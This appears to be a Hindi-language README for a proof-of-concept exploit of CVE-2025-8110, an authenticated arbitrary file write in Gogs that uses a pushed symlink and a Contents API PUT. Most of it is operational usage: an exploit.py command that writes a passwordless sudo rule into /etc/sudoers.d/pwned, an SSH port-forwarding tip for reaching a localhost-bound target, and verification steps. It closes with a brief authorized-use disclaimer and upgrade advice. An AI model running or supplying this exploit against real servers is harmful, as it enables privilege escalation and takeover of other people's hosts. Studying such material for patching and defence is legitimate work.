
CVE-2025-8110 के लिए PoC - Gogs में सिमलिंक के माध्यम से मनमानी फ़ाइल लिखना
Gogs में एक प्रमाणित मनमानी फ़ाइल लेखन के लिए प्रूफ-ऑफ-कॉन्सेप्ट। रिपॉजिटरी के बाहर इशारा करने वाली एक सिम्बोलिक लिंक वाले रिपॉजिटरी को पुश करके और फिर API के माध्यम से उस लिंक की सामग्री को अपडेट करके, एक प्रमाणित उपयोगकर्ता Gogs चलाने वाले खाते के विशेषाधिकारों के साथ होस्ट पर फ़ाइलों को अधिलेखित कर सकता है।
केवल अधिकृत परीक्षण और शिक्षा। इसे केवल उन सिस्टमों के खिलाफ चलाएं जिनके मालिक आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। आप इसका उपयोग करने के लिए स्वयं जिम्मेदार हैं।
malicious_link -> /path/on/host) जोड़ें और इसे पुश करें।malicious_link को अपडेट करने के लिए Contents API को एक PUT भेजें। Gogs सिमलिंक का अनुसरण करता है और आपूर्ति की गई सामग्री को अपने विशेषाधिकारों के साथ लक्ष्य पथ पर लिखता है। यदि Gogs रूट के रूप में चलता है, तो यह एक सीधा विशेषाधिकार-उन्नयन प्राइमिटिव है (उदा. /etc/sudoers.d/ में एक नियम डालना)।API PUT वास्तव में लिखने को ट्रिगर करता है; पुश केवल सिमलिंक रखता है।
git उपलब्धpip install -r requirements.txt
python3 exploit.py \
-u http://127.0.0.1:3000 \
--user <username> \
--password '<password>' \
--target /etc/sudoers.d/pwned \
--payload '<username> ALL=(ALL) NOPASSWD: ALL'
कमांड लाइन पर पास करने के बजाय सुरक्षित रूप से संकेत देने के लिए --password को छोड़ दें।
Gogs अक्सर लक्ष्य पर लोकलहोस्ट से बंधा होता है। इसे अपनी मशीन पर एक्सपोज़ करने के लिए SSH लोकल पोर्ट फ़ॉरवर्डिंग का उपयोग करें (लक्ष्य से मेल खाने के लिए पोर्ट समायोजित करें):
ssh -L 3000:127.0.0.1:3000 user@target
# then point the exploit at http://127.0.0.1:3000
सफल रन के बाद, होस्ट पर (प्रासंगिक उपयोगकर्ता के रूप में) जाँच करें:
cat /etc/sudoers.d/pwned
sudo -l
यदि आपने sudoers नियम लिखा है, तो ध्यान दें कि /etc/sudoers.d/ में फ़ाइलें मान्य होनी चाहिए और sudo द्वारा उनका सम्मान करने के लिए उपयुक्त अनुमतियाँ होनी चाहिए।
auto_init HTTP 500 लौटाता है — स्क्रिप्ट एक खाली रिपॉजिटरी बनाने और उसे स्थानीय git init + पुश के साथ भरने पर वापस आ जाती है।master बनाम main को भी संभालती है।Contents API में सिमलिंक को मान्य करने वाले Gogs रिलीज़ में अपग्रेड करें। गहराई में बचाव के रूप में, Gogs को रूट के रूप में चलाने से बचें और रिपॉजिटरी स्टोरेज को अलग करें।
MIT — LICENSE देखें।